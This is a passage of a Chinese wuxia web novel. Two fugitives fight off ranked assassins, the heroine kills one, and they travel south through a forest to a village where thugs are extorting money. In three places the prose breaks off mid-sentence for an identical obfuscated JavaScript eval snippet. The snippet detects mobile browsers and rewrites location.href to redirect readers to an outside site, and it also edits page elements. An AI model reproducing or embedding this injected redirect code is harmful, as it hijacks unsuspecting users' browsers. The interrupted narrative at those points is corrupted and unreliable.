“暗杀榜十八,‘鬼刺’崔勉。”高瘦杀手声音尖细,带着刻骨的恨意:“无忏!还记得三年前陇西道上的‘血手’杜冲吗?那是我结拜兄弟!今日便用你的人头,祭他在天之灵!”他话音未落,攻势更急。 那矮壮杀手闷声接口,声音粗嘎:“十七,‘石钺’熊奎。没什么仇,就为那涨到天上的赏金!杀了你,再拎那小娘们的头去领双份!”他双钺一摆,作势要朝江晚怜虚劈,实则气机紧锁无忏。 排名十七、十八!而且是寻仇与图财的临时组合! 无忏在他们现身时已然持剑起身,面对两人默契的夹击,他脸上依旧没什么表情,只是那双异色的眸子里,冰寒的杀意凝若实质。黑剑出鞘,无声无息,却后发先至,精准地格开崔勉刺向咽喉的一击,剑身顺势下压,以巧妙的角度卸开熊奎横扫而来的一钺,同时脚步一错,已挡在了江晚怜与两名杀手之间。 “躲到石头后面去。”他的声音冷静得可怕,甚至没有回头看江晚怜一眼,全副精神已锁定眼前两大强敌。 江晚怜手脚发软,连滚爬地挪到那块大石头后面,紧紧缩起身子,只敢露出一点眼睛观察。篝火被激烈的动作带起的风吹得明灭不定,光影乱舞,将那三道高速交错的身影映照得如同皮影戏中的鬼魅。 崔勉的峨眉刺快、诡,专走偏锋,配合他诡异的身法,如同附骨之疽,不断寻找无忏剑势的缝隙。而熊奎的双钺则势大力沉,招式大开大阖,每一击都带着撼动山岳般的气势,逼迫无忏硬接或大幅闪躲,极大地限制了其腾挪空间。两人一快一慢,一巧一拙,配合虽算不上天衣无缝,但显然事先有过简单磨合,将各自的优势发挥出来,给无忏造成了不小的压力。 无忏的黑剑在方寸之间腾挪格挡,点、刺、削,将攻来的招式一一化解。他的剑法没有固定套路,简洁高效到了极致,每每于间不容发之际找到对方联手的细微破绽,逼得两人不得不回防。但双拳难敌四手,在两名排名前列杀手的全力围攻下,他也无法立刻取得优势,战局一时陷入胶着。 兵刃交击声密集如雨,火星四溅。劲气激荡,将篝火的余烬和地上的枯草落叶卷得飞扬起来。 江晚怜看得心惊肉跳,她虽然不懂高深武功,但也看得出无忏是以一敌二,且那两人配合不弱。她手心全是冷汗,脑子里一片混乱,既害怕无忏落败自己小命不保,又担心他受伤。 就在这时—— 那崔勉久攻不下,眼中戾气一闪,忽然尖啸一声,攻势陡然再快三分,两柄峨眉刺幻化出漫天虚影,将无忏上半身尽数笼罩。与此同时,熊奎心领神会,暴喝一声,双钺不再追求精妙,而是以最为蛮横的姿态,一左一右,朝着无忏拦腰横斩!这一下,竟是逼迫无忏要么硬接熊奎的重击,要么后退闪避崔勉的致命快攻,而无论哪种选择,都会露出破绽! 无忏眼神一冷,竟是不退反进,黑剑如蛇出洞般,精准无比地刺入崔勉那漫天虚影中唯一真实的一点! “嗤啦!” 剑尖划过皮肉的声音响起,崔勉闷哼一声,肩头飙出一道血线,急退。但无忏为此也付出了代价——他为了追求这一击必中的速度和角度,身形难免有了一丝凝滞。熊奎那双沉重无比的镔铁鸳鸯钺,已然呼啸着扫到了他的腰侧! 千钧一发之际,无忏腰腹以不可思议的角度猛然收缩,同时左手短匕瞬间弹出,斜向上疾格! “铛——!!!” 一声震耳欲聋的巨响!短匕与沉重的铁钺相撞,爆出一溜刺目的火星。无忏虽借力卸去了大部分力道,但熊奎这一击实在势大力沉,他整个人被震得向侧后方踉跄了一步,持匕的左手一阵酸麻,那柄曾挖过土茯苓也挡过缠魂丝的短匕,竟被这股巨力震得脱手飞出,“啪”一声落在江晚怜藏身的石头附近! “好机会!”熊奎见状大喜,不顾虎口崩裂的疼痛,挥钺再上。受伤的崔勉也强忍肩痛,猱身扑来,目标直指身形未稳的无忏! 江晚怜眼睁睁看着那柄熟悉的短匕落在脚边,又看到两名杀手趁势猛攻,而无忏似乎失了先机……一股热血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17005773|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猛地冲上头顶,恐惧被一种更强烈的、想要做点什么的冲动暂时压过。 不能光看着! 她几乎是凭着本能,猛地扑出去,一把抓起地上那柄冰凉沉重的短匕,入手沉甸甸的,比她想象的重,刃口在微弱的火光下流动着寒光。 “去死!”熊奎的怒喝已在近前,沉重的铁钺带着恶风朝她这个方向扫来——他见这“累赘”居然敢捡兵器,顺手就想先解决了她。 江晚怜脑子一片空白,身体反应为零,全靠一股豁出去的狠劲和求生欲,闭着眼睛,双手握着短匕,朝着那团袭来的黑影,用尽全身力气胡乱向前一捅! 入手并非金属碰撞的坚硬,而是一种……刺入厚实皮革、又穿透了什么的阻滞感。 温热的血液溅了她一手、一脸。 熊奎的咆哮戛然而止,变成了难以置信的、嗬嗬的倒气声。他低头,看着那柄原本属于无忏的短匕,此刻正深深地没入自己的胸膛,直没至柄。而握着匕首的,是那个他以为随手就能捏死的、穿着浅藕荷色衣裙,吓得脸色惨白的丫头。 “你……呃……”熊奎庞大的身躯晃了晃,眼中的凶光迅速涣散,推金山倒玉柱般轰然向后倒去,溅起一片尘土。 这一切发生在电光石火之间。 正与无忏缠斗的崔勉眼角余光瞥见这一幕,肝胆俱裂!他怎么也想不到,排名十七、以力大著称的熊奎,会死在那个手无缚鸡之力的“金元宝”手里! 就这一分神,足够了。 无忏的黑剑如同早已等候的毒蛇,悄无声息地穿透了他因震惊而露出的空门,从肋下刺入,斜向上贯穿心肺。 崔勉身体一僵,细长的眼睛瞪得极大,看着胸前透出的半截黑色剑尖,张了张嘴,却什么声音也没发出来,便跟着熊奎一起,软软瘫倒在地,再无生息。 荒野重新恢复了寂静,只剩下篝火燃烧的噼啪声,和江晚怜粗重得如同破风箱般的喘息。 她双手还紧紧握着那柄染满鲜血的短匕,僵在原地,保持着向前捅刺的姿势,脸上、手上溅满了温热的血点。她呆呆地看着倒在面前、死不瞑目的熊奎,又看了看另一边被无忏一剑毙命的崔勉,最后,缓缓抬起头,看向几步之外、正缓缓收剑归鞘的无忏。 无忏的脸色在跳跃的火光下有些明暗不定,他看了一眼江晚怜手中染血的短匕,又看了看她惨白如纸、溅着血点的脸,以及那双盛满了惊骇、茫然、后怕乃至一丝难以置信的眼眸。 他走过来,从她僵直的手中,轻轻取回了那柄短匕。入手时,能感觉到她的手在剧烈颤抖。 “他……我……”江晚怜嘴唇哆嗦着,语无伦次。 “他死了。”无忏的声音依旧平静,但似乎比平时多了一丝难以察觉的什么。他蹲下身,用熊奎的衣服擦净短匕上的血迹,然后仔细检查了一下两具尸体,从他们身上搜出些零碎物品和银钱,最后,在崔勉的怀里,找到了一小卷羊皮纸。 就着火光展开,上面用朱砂写着最新的悬赏通告,无忏与江晚怜的画像,虽不十分精准,但特征明显。下面的金额数字,比之前在落霞镇听闻的,又翻了一倍不止。旁边还有一行小字注释:“目标疑似仍在该区域,各路人马加紧,死活不论,提头来见。” 24. 新的方向 江湖四处,果然已遍布他们的消息和索命的阎罗帖。 他站起身,看了一眼依旧呆立原地的江晚怜,走过去。 “怎么了?”他问,声音比刚才擦拭匕首时缓和了些许,虽然依旧谈不上温和。 江晚怜似乎被他的声音惊醒,猛地一颤,视线聚焦在他脸上,又飞快地移开,落到自己染血的手上。 “我……我杀人了……”她的声音带着压抑不住的颤抖和一丝崩溃的哭腔:“我……我是不是……” “你不杀他,现在躺下的就是你。”无忏打断她,语气是陈述事实的冷静,却奇异地带了点试图让她明白的意味。他顿了顿,目光扫过地上的两具尸体,“夜莺、毒蛛,行事尚有规矩可循,接了单,完不成或代价过大,或许会退,但这两人不同。” 江晚怜抬起含泪的眼,有些茫然地看着他。 “崔勉为私仇。”无忏用脚尖轻轻点了点高瘦杀手的尸体:“这种仇恨,不死不休,只要有一口气,就会像蛇一样盯着,不计代价,不择手段。” “熊奎为巨利。”他又看向那矮壮汉子的尸身:“赏金已高到令人疯狂。这种人,贪婪无度,一次不成便会再来二次,三次……而且,”他微微蹙眉,似乎想起了什么,“他们排名虽不算顶尖,但在这一带有些根基,若今日走脱一个,明日来的可能就不止两个,而是他们能纠集的所有亡命徒、地头蛇。” 他看向江晚怜,异色的眼眸在火光映照下显得深邃:“让他们活着离开,后患无穷,会像跗骨之蛆,甩不掉,斩不绝,直到一方彻底倒下。所以,”他的声音低沉下去,带着一种冰冷的决断,“必须死在这里。” 这不是在解释他为何下杀手,而是在告诉她,她刚才那一下,并非无意义的过失或罪孽,而是在你死我活的悬崖边,唯一能抓住的、活下去的绳索。 江晚怜怔怔地听着,胸口的窒闷和翻腾并未立刻消失,但那种纯粹自我谴责的恐慌,似乎被这番冰冷残酷却无比现实的话语,稍稍冲淡了一些。她想起熊奎挥钺扫来时眼中纯粹的贪婪和杀意,想起崔勉提及兄弟之仇时的怨毒……是的,如果刚才不是她误打误撞……死的就是她。 “我……我只是害怕……”她吸了吸鼻子,努力想把眼泪憋回去,声音依旧哽咽,“胡乱……捅了一下……” “嗯。”无忏应了一声,没再说什么安慰的话,而是转身开始迅速清理篝火痕迹,将两具尸体拖到不远处的灌木丛后草草掩埋——并非仁慈,只是避免很快被人发现,引来更多麻烦。 江晚怜看着他的动作,又低头看看自己染血的手,胃里依旧不适,但那股灭顶的眩晕感退去了一些。 夜风卷走了最后一丝血腥气,只余下泥土与枯草的味道。篝火彻底熄灭,余烬被仔细掩埋,连同那场短暂却凶险的搏杀一起,仿佛从未发生。只有江晚怜手上已经干涸发暗的血迹,和空气中尚未散尽的紧张感,证明着刚才的一切并非幻觉。 无忏处理完痕迹,走回江晚怜身边——她没有再发抖,只是抱着膝盖坐在那块大石旁,眼神有些空茫地望着远处漆黑的荒野,脸上泪痕已干,留下浅浅的痕迹。 “走吗?”他问,语气恢复了平日的简洁。 江晚怜点点头,撑着石头站起身,腿还有些软,但还算稳当。她看了一眼自己血迹斑斑的手。 “有水吗?”她哑着嗓子问。 无忏将水囊递给她,她拔开塞子,倒了点水在手上,用力搓洗。水很凉,激得她一哆嗦,但也带走了不少干涸的血块。她反复洗了好几遍,直到皮肤发红,才停下来,用衣角擦了擦。 无忏提起包袱,再次率先走入夜色。江晚怜默默跟上,这一次,她没有跟得那么近,而是保持着两三步的距离,不紧不慢地走着。 夜很静,只有脚步声和风吹过荒草的沙沙声。走了约莫半个时辰,无忏在一处背风的小土坡下停了脚步,这里比刚才的山坳更隐蔽些,坡上还有些低矮的灌木。 “在此歇息,天亮再走。”他放下包袱,靠着土坡坐下,黑剑依旧放在触手可及的地方。 江晚怜也疲惫地坐下,将手摊在膝盖上,借着微弱的星光看着。虽血污已经洗去但那粘腻的感觉仿佛还留在皮肤上。 无忏也没睡,靠着土坡闭目养神,但江晚怜知道他醒着。 过了许久,久到江晚怜以为这一夜就会在沉默中过去时,她忽然轻声开口,声音在寂静的夜里显得格外清晰:“我以前……连杀个鸡都不敢看。” 无忏没有睁眼,也没有回应。 江晚怜自顾自地说下去,像是在说给他听,又像是在说给自己听:“我总觉得,生命是很重的东西,哪怕是一只鸡……更别说人了,可是在这里……”她顿了顿:“好像不是这样,在这里,人命……有时候轻得像草芥。你不杀别人,别人就要杀你,没有道理可讲,甚至……没有对错可分。” 她想起熊奎眼中的贪婪,崔勉话语里的怨恨,还有之前毒蛛的阴毒,夜莺的执着……每个人都因为各自的理由,想要她的命,而无忏……他杀人,似乎也有他自己的准则和理由,哪怕那理由在旁人看来冰冷又极端。 “你说得对,”她声音低了下去,带着一种认命般的疲惫:“我不杀他,死的就是我,在这里,活下去好像就得这样。” 这话说得有些混乱,但无忏似乎听懂了。他睁开眼,异色的眸子在夜色中看向她,平静无波。 “世道人心难测,总有人为了利益不择手段。”他的声音不高,却清晰地传入江晚怜耳中:“把别人当人看,才能分辨该杀与否,若连这些都忘了,”他顿了顿。 “与兽何异?” 江晚怜愣住了,她没想到会从无忏口中听到这样的话。她一直觉得他像一把冰冷的剑,只为某种目的或原则而挥动,缺乏常人的情感和纠结。可这番话……似乎透露出,在他那套冰冷的杀戮准则之下,依然存在着某种对“人性”底线的坚守,尽管那底线可能偏得离谱。 “那你……”她迟疑着问:“你是怎么……分辨的?”问完又觉得可能越界了,这是他的秘密,他的原则,或许连他自己都未必说得清。 无忏重新闭上了眼睛,似乎不打算回答。就在江晚怜以为他不会说的时候,他却淡淡开口:“直觉,证据,代价。” 三个词,言简意赅。 直觉?杀手的直觉?证据?调查来的恶行?代价?评估放过的后果? 江晚怜琢磨着这三个词,似乎摸到了一点他行事逻辑的边缘。冰冷,但并非全然无理。在这个混乱的江湖,或许这已经是他能找到的、最不让自己迷失的方式。 “谢谢。”她忽然说。 无忏没有反应,仿佛没听见。 江晚怜也不在意,她躺下来,枕着自己的胳膊,望着星空。心里的沉重和恶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17006869|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心感并没有完全消失,但那种孤立无援的恐慌和罪恶感,似乎被刚才那番简短的对话冲淡了些许。至少,她知道身边这个暂时的同行者,并非原漫画描写的一个毫无逻辑、嗜血成性的疯子,他有他的规则,尽管那规则染满鲜血。 这就够了,在这个朝不保夕的世界里,一点点确定性和理解,都像暗夜里的微光。 困意终于涌了上来,连日的疲惫和惊吓透支了她的精神。她蜷缩起身子,在深秋寒冷的荒野里,沉沉睡去。 无忏在她呼吸变得均匀绵长之后,才再次睁开眼。他静静地看着不远处蜷缩成一团的浅藕荷色身影,目光在她染血后用冷水洗的依旧有些泛红的手上停留了一瞬,然后移开,望向无尽的黑暗,继续他无声的守夜。 ——晨曦微露。 江晚怜被冻醒了。深秋荒野的清晨,寒气像细针一样往骨头缝里钻。她坐起身,搓了搓冰凉的手臂,下意识朝旁边看去,无忏已经不在原先的位置。 她转过头,发现他站在土坡稍高些的地方,只穿着单薄的深色劲装,背对着她,正望着远方天际渐渐泛起的鱼肚白。晨曦勾勒着他挺拔却透着孤寒的背影,仿佛他本身就是这荒原的一部分。 江晚怜轻轻呼出一口白气,揉了揉睡得有些发僵的脸,把脑子里残留的噩梦碎片——混合着昨夜的血腥和匕首冰凉的触感,用力甩开。她站起身,活动了一下有些麻木的腿脚,走到他身边不远不近的位置停下。 “早。”她声音还有点刚醒的沙哑,带着鼻音。 无忏侧过头,看了她一眼,目光在她微微发红的鼻尖和下意识抱紧手臂的动作上停顿了半秒,随即转回前方。“嗯。” 晨光渐亮,荒野的轮廓清晰起来,枯草上覆着一层薄薄的白霜。 无忏“嗯”了一声,目光依旧看着前方。晨曦的光勾勒着他冷硬的侧脸线条,那双异色的眸子在渐亮的天光下,似乎也没那么显得冰冷诡谲了。 “今天去哪?”江晚怜问,经过昨夜,她觉得自己好像稍微“习惯”了一点这种随时可能遇袭、前途未卜的逃亡生活。或者说,是麻木了。 无忏没有立刻回答,似乎在思索。过了片刻,他才道:“往南。” “南边?”江晚怜在脑子里搜索漫画里南边有什么:“有线索?” “可能。”无忏收回目光,看向她:“先从前半句‘长堤柳色入笙歌’查起,南地多水泽,堤、柳,更常见,或许能找到与诗相关之地……或知晓此诗之人。” 江晚怜想起落霞镇说书人那半截关于北地傀儡女和修行者的故事,心头一动。那故事似乎也与“诗”一样,指向某种隐秘的过往。南边……会找到答案吗?还是更多的谜团? “好。”她没有多问,只是点了点头。 简单吃了点难嚼的干粮,两人再次上路。晨曦彻底驱散了夜色,荒野在阳光下显露出它苍凉而广阔的本来面目,昨夜的血腥与惊悸,仿佛被留在了身后那片渐行渐远的黑暗里。 江晚怜跟在无忏身后,深一脚浅一脚地走着。她看着前方那个挺拔的背影,又低头看看自己身上过分宽大的玄黑外衫,以及手上已经淡得几乎看不见、却仿佛烙在心里的血迹。 前路依然未知,杀机或许就潜伏在下一片树林、下一个路口。 但阳光很好,她还活着,身边还有一个虽然古怪冰冷、但至少目前还算可靠的“同行者”。 25. 你又迷路了?! 南下的路并不好走。官道不敢走,现在他们是重点中的重点人物,怕人多眼杂,只能拣那些山野小径。越往南,山势虽渐缓,林木却愈发茂密,层层叠叠的绿荫遮天蔽日,脚下的路时有时无,常常需要拨开及腰的灌木或踩着湿滑的苔石才能通过。 走在前面的无忏,步伐依旧稳定,手中黑剑偶尔挥动,斩断过于挡路的藤蔓,动作干净利落。但跟在他身后的江晚怜,敏锐地察觉到了一丝不对劲。 他们已经在这片看起来都差不多的林子里转悠快两个时辰了。太阳的位置告诉她大方向没错,但周围的景色……那棵歪脖子老松,她好像已经是第三次看到了?还有那块形状像只癞蛤蟆的石头,也眼熟得令人心慌。 “那个……无大哥,”江晚怜忍不住开口,声音因为持续跋涉有些喘:“我们是不是……又在兜圈子?” 走在前面的背影顿了一下,随即传来平静无波的两个字:“没有。” “真的吗?”江晚怜快走几步,跟他并行,指着旁边那棵歪脖子松:“这树,我们刚才是不是从它右边过去的?现在怎么又到它左边了?” 无忏顺着她手指的方向看了一眼,异色的眸子几不可察地飘忽了零点一秒,随即坚定地转向前方:“树不是都长那样。” “那这块石头呢?” “石头不也是。” “……”江晚怜无语望天,却只能看到密密的树冠。 得,这位爷又开始嘴硬了。 她想起之前被夜莺袭击后,也是在一片雾气弥漫的林子里,这位武力值天花板信誓旦旦地带路,结果带着她绕了大半天,最后还是她靠着当初在学校摸鱼看的《野外求生指南》里提到的“树冠疏密辨方向”之类不靠谱的知识,瞎猫碰上死耗子才走了出去。 历史总是惊人地相似。 “我说,无大哥,”江晚怜决定不绕弯子了:“您是不是……又在这些长得都一样的林子里,稍微有那么一点点……方向感不佳?” 无忏的脚步这次明显停住了。他侧过身,那双总是没什么情绪的异色眼睛看向江晚怜,眉头几不可察地蹙了一下,似乎对她的质疑感到一丝不悦。 “我能辨方向。”他强调。 “是是是,您能辨方向,”江晚怜从善如流地点头,随即话锋一转:“但咱们现在需要的可能不只是方向,是‘路’啊!您看这四周,哪条看起来像人走的‘路’?咱们再这么‘辨方向’走下去,天黑了恐怕还得在这片林子里跟这些歪脖子树和□□石头相亲相爱。” 无忏沉默了,他环顾四周,浓密的树冠几乎完全遮蔽了天空,只有破碎的光斑洒下。脚下是厚厚的落叶和盘根错节的树根,远处是几乎一模一样的林木和灌木,他抿了抿唇,线条冷硬的下颌似乎绷紧了一丝。这细微的表情变化被江晚怜精准捕捉——哦豁,被她说中了。 “咳咳,”江晚怜清了清嗓子,努力让自己的表情看起来诚恳而非得意:“那什么……要不,这次还是换我来带带路?”她没好意思直接说“您这方向感实在不敢恭维”。 无忏看着她,没说话。那眼神有点复杂,像是评估,又像是某种无声的较量。 江晚怜被他看得有点发毛,正准备放弃这个大胆的提议,心想大不了陪他再绕几圈时,却见无忏几乎是从鼻腔里发出一个极轻的“嗯”声,然后,他侧身让开了半步。 这意思……是同意了?虽然表情看起来像被逼着吃了一整盘他最讨厌的甜豆花。 江晚怜心里那点小得意立刻冒了头。她挺了挺胸,走到前面,装模作样地观察了一下四周。其实她心里也慌,那点野外求生知识早就在经历了一系列艰难坎坷之后忘得七七八八,但输人不输阵,尤其是在这位面前! 她先看了看树皮上的苔藓,虽然好像哪边都有,又仰头看了看树冠,虽然都差不多密。最后干脆破罐子破摔,遵循了一个朴素的原则:往地势稍低、看起来植被没那么疯狂、隐约有动物痕迹的地方走!毕竟,动物也要找水喝、找路走不是吗! “这边!”她指着一条看起来稍微像那么回事的、隐约有向下趋势的缝隙,虚张声势地说道,然后率先钻了过去。 无忏一言不发地跟上,只是目光在她选定的“路”上扫了一眼,又看了看她故作坚定的背影,异色的眸子里闪过一丝极淡的、难以解读的情绪——或许,有那么一丁点儿,是对她这种毫无章法、全凭感觉的“领路”方式的……质疑?但他终究没说什么。 事实证明,江晚怜的“动物直觉法”……或者叫“瞎猫乱撞法”,这次居然奏效了。走了一刻多钟后,林木渐渐稀疏,脚下开始出现隐约被人踩踏过的小径痕迹,甚至听到了潺潺的水声! “看!有水声!”江晚怜兴奋地回头,脸上带着“快夸我”的得意。 无忏看了看前方越来越清晰的小路,又看了看她亮晶晶的眼睛,沉默了片刻,吐出两个字:“运气。” 江晚怜:“……”行吧,您老嘴硬是常态。 不过能找到路总是好事。两人沿着水声很快找到了一条清澈的小溪。日头已经偏西,也该找地方过夜了。 “今晚在这歇吧?”江晚怜提议,眼巴巴地看着溪水,很想洗把脸。 无忏观察了一下四周环境,点点头:“可。” 照例是无忏负责警戒和寻找合适的露宿点,江晚怜负责……嗯,她主动请缨:“今晚我来弄吃的!你去找柴火和看看有没有能吃的果子啥的。”她可不想再吃无忏那能把野果烤成焦炭、把肉烤得又硬又腥的“手艺”了。 无忏似乎对此没有异议,好像他也清楚了自己在这方面的“造诣”。随后默默转身去捡柴火。 江晚怜则花费了好些功夫从小溪里捞了几条不大不小的鱼——感谢这具身体原主或许残留的某些技能?或者纯粹是溪鱼太傻?总之比上次进步了些许,又在地上发现了几丛认识的、能吃的蘑菇和野菜。她挽起袖子,开始处理食材,嘴里还哼着不成调的歌,心情颇好。 等无忏抱着一捆干柴和几个野果回来时,看到的就是这样一幅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17006870|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景象:江晚怜蹲在临时搭起的简易石灶旁,用他的洗过的那把短匕熟练地刮着鱼鳞,嘴里嘀嘀咕咕:“这鳞片还挺硬……哎呀,内脏要这样弄……蘑菇得撕开看看有没有虫……” 火光映着她的侧脸,沾了水渍和一点烟灰,专注的样子和她平时怂包或吐槽的模样判若两人。无忏脚步顿了顿,才走过去,放下柴火。 “需要帮忙?”他问,看着那几条被处理得干干净净、串在树枝上的鱼,和旁边洗净的蘑菇野菜。 “不用不用,你坐着、等着吃就行。”江晚怜头也不抬,一副大厨架势,她可是拿出了当年在家被老母亲笑着夸上天的“厨艺”! 无忏便不再说话,在火堆旁坐下,静静地看着她忙活。看着她把鱼架在火上小心翻转,看着她把蘑菇野菜用大片叶子包好埋进火堆边的热灰里,看着她时不时吹吹被烫到的手指,嘴里小声吸着气,还夹杂着几句“靠,好烫”、“这火候有点难掌握”之类的碎碎念。 气氛莫名有种古怪的平和,甚至……有点家常。 很快,烤鱼的焦香和蘑菇野菜被烘烤后特有的清甜气息飘散出来。江晚怜把烤得金黄冒油的鱼和焖得恰到好处的野菜包递给无忏一份,自己留下一份。 “你快试!”她眼睛亮晶晶地看着他,带着点期待。 无忏接过,看了看卖相比自己烤的“不明物体”好了不知道多少的食物,又看了看她期待的脸,低头咬了一口烤鱼。外皮微焦酥脆,内里鱼肉鲜嫩,虽然没有调味料,但火候掌握得意外地好,野菜蘑菇也鲜甜多汁。 他慢慢地吃着,没说话。 “怎么样?”江晚怜忍不住问。 无忏咽下口中的食物,抬眼,对上她期待的眸子,薄唇微动,给出了他能力范围内极高的评价: “能吃。” 江晚怜:“……”好吧,从他嘴里说出“能吃”,大概相当于别人说“美味极了”。她安慰自己,拿起自己的那份咬了一大口,嗯!果然不错!她果然是有点做饭天赋在身上的! 两人沉默地吃着这顿来之不易、味道尚可的晚餐。林间只有篝火的噼啪声和轻微的咀嚼声。 吃完后,江晚怜摸着有点撑的肚子,看着正在用溪水清洗短匕的无忏,忽然觉得,如果忽略掉那些打打杀杀、被人追得屁滚尿流的糟心事,光是这样的夜晚,似乎也不算太坏。 当然,这个念头只是一闪而过,她看着无忏洗好匕首,擦干,收回鞘中,动作一丝不苟。那双眼睛在火光下平静无波,仿佛刚才那个在林子里迷路嘴硬、等着吃现成饭的人不是他一样。 江晚怜悄悄翻了个白眼,心里却莫名松快了一些。 这位榜一大佬,不是无所不能的:他会迷路,做饭难吃,嘴还硬,可能还有自己不知道、原漫画中没有勾勒出的设定。 夜色渐深,篝火渐弱。 明天还要继续赶路,前往未知的南方。 但今晚,就先在这片小小的、由江晚怜“领路”找到的溪边空地上,稍微喘息一下吧。 26. 等待进入网审 ——南下途中,某个不知名的野村外。 说是“村”,其实不过是山坳里散落着二三十户土坯茅屋,靠着一小片贫瘠的田地和后山的几处柴薪过活。一条浑浊的溪流从村边蜿蜒而过,算是唯一的水源。 江晚怜看到远处升起的几缕歪斜炊烟时,眼睛都亮了一下。连着几天在荒山野岭里钻,虽说有“野趣”,但更多的是风餐露宿的辛苦和提心吊胆。能见到人烟,哪怕是最简陋的村落,也让她有种回归文明社会的错觉——虽然这个“文明”可能连干净厕所都没有。 “前面有村子!”她指着炊烟,语气带着点雀跃,“要不要进去看看?” 无忏目光扫过那片低矮的村落,又看了看四周地形。村子坐落的位置还算隐蔽,只有一条小路通往官道方向。“嗯。”他点点头:“谨慎些。” 两人沿着小路走近村口。正是晌午过后,村里没什么人,几个穿着补丁衣服的孩童在土路上追逐打闹,看到两个陌生面孔,尤其无忏那身气势和显眼的剑,都怯生生地躲到破败的篱笆后,露出眼睛偷看。 村口有棵老槐树,树下歪着一块条石,算是村里的“公共议事处”。此刻,条石旁却围了七八个村民,男女都有,个个面带愁容,中间一个老汉正蹲在地上抱着头叹气。他们旁边,站着三个腰膀粗圆、敞着怀、一脸横肉的汉子,为首一个脸上有道疤,正吊儿郎当地用一根木棍敲着自己的手心,斜眼看着村民们。 “……李老栓,不是咱兄弟不讲情面,”刀疤脸汉子拖长了调子,“这‘平安钱’,十里八乡哪个村子不交?就你们野牛坳特殊?上个月拖到月底,这个月还想赖?” 那蹲着的老汉抬起头,苦着脸道:“刘爷,不是想赖,实在是……今年收成不好,前阵子又闹了场鸡瘟,家家都紧巴……您看,能不能再宽限几日?等我们卖了柴,凑一凑……” “宽限?”刀疤脸嗤笑一声,木棍“啪”地敲在条石上,吓得几个妇人一哆嗦,“老子宽限你们,谁宽限老子?今天这钱,拿不出来也得拿!不然……”他眼睛不怀好意地在几个村民脸上和身后的破屋扫过,“哥几个就自己进去找找,看有什么能抵债的!” 这是……收保护费的?江晚怜眨眨眼,没想到穿越了还能亲眼见到这种经典桥段。她下意识看向无忏。 无忏脚步没停,径直朝村里走去,仿佛没看见那边的纠纷。江晚怜愣了一下,赶紧跟上,小声问:“不管?” “麻烦。”无忏言简意赅。他确实没有多管闲事的习惯,尤其这种市井混混的纠缠,在他眼里与江湖仇杀、赏金追杀根本是两回事,如同蝼蚁打架,不值得投入任何注意力。 可他们想避,麻烦却长了眼睛。 那刀疤脸一伙也注意到了进村的两人。实在是无忏那身生人勿近的气场和腰间的剑太扎眼。刀疤脸目光在无忏身上转了转,掠过他平静无波的脸和异色的眼睛,心里有点打鼓,但看到旁边一脸好奇张望的江晚怜,又见两人风尘仆仆不像有背景的样子,胆子又壮了。 他眼珠一转,木棍一横,拦在了路中间,正好挡住无忏和江晚怜。 “哟,生面孔啊?”刀疤脸扯出个假笑,“两位打哪儿来啊?到我们野牛坳有何贵干?这阵子可不太平,外乡人还是懂点规矩的好。” 他身后的两个跟班也凑上来,抱着胳膊,一副地头蛇的架势。 江晚怜心里“咯噔”一下,暗道倒霉。这算不算“人在村中走,祸从天上来”?她偷瞄无忏,见他脸上连丝不耐烦的表情都欠奉,只是撩起眼皮,看了刀疤脸一眼。 就一眼。 刀疤脸忽然觉得后脖颈有点发凉,像是被什么冰冷的猛兽盯上了。他强撑着没后退,但举着木棍的手却僵在了半空。 无忏没说话,脚步也没停,就那么直直地往前走,仿佛挡在前面的不是三个大活人,而是三团空气。 刀疤脸眼看着那黑衣青年就要撞上自己的木棍,心里那股莫名的惧意猛地蹿升,下意识地、几乎是狼狈地往旁边让了一步。他两个跟班见老大退了,也忙不迭地闪开。 三人就这么眼睁睁看着无忏和江晚怜从他们中间走了过去,连衣角都没碰到。 直到两人走出好几步,刀疤脸才反应过来,脸上火辣辣的,觉得在村民和小弟面前丢了面子。他恼羞成怒,转身喝道:“站住!老子问你们话呢!懂不懂规矩?!” 无忏终于停下了脚步,微微侧头。 江晚怜心里哀叹,完了,这位爷可千万别拔剑啊!为了几个地痞混混背上几条人命官司……呃,虽然可能也没人管,但这还暴露行踪,太不值了! 她灵机一动,赶紧抢在无忏动手前,转过身,脸上堆起一个尽可能“淳朴憨厚”的笑容,对着刀疤脸连连作揖:“这位大哥!对不住对不住!我大哥他……这里不太灵光!”她指了指自己的脑袋,表情夸张, “从小就这样,表情都一样,不管吃中药还是吃灵丹,怎么开发他都不行,他就是不爱说话,也听不懂人话!我们就路过,讨碗水喝,马上就走,绝不惹事!” 她一边说,一边偷偷拽了拽无忏的袖子。 